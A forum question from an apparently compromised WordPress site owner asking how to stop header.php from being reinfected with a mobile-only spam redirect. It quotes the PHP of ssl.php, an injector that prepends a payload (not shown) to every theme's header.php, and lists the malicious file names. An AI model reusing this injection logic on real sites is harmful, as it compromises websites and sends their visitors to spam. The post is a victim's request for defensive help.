How to stop repeated hack on header.php of custom theme?

Noticed some unwanted files on the website root folder and removed them. I have found that header.php file has some malicious code which redirects to spam sites only on mobile browsers.

when these files exists .htaccess pretty permalinks does not work.

I have changed Cpanel, FTP passwords.Deleted these below listed unwanted files. Scanned all the files and folders.

After a clean installation of wordpress and plugins, these files are added repeatedly.

Server: shared hosting / linux server File Transers using Cpanel / FileZilla

How to stop these repeated attacks?

The list of malicious scripts.

ssl.php has these following code

if (file_exists("wp-content"))
{
if (file_exists("wp-content/themes"))
{
    $dirs = scandir("wp-content/themes");
    foreach ($dirs as $dir)
    {
        if ((is_dir("wp-content/themes/$dir")) AND ($dir !== ".") AND ($dir !== "..")) 
        {
            if (file_exists("wp-content/themes/$dir/header.php")) 
            {
                          $file = fopen("wp-content/themes/".$dir."/header.php", "r");  
                          $buffer = fread($file, filesize("wp-content/themes/".$dir."/header.php")); 
                          fclose($file);    
               if (eregi('ba9hus.in', $buffer)==0) 
               { 

                            $in = fopen("wp-content/themes/".$dir."/header.php", "w");
                             fwrite($in, $code);
                             fwrite($in, $buffer);
                             fclose($in);
                /*       
                   $in = fopen("wp-content/themes/$dir/header.php", "a");
                   fwrite($in, $code);
                   fclose($in);
                   */
               }
            }
        }
    }
}
}

ssl.php
wp-ssl.php
wp-ssl.zip
news_parser.class.php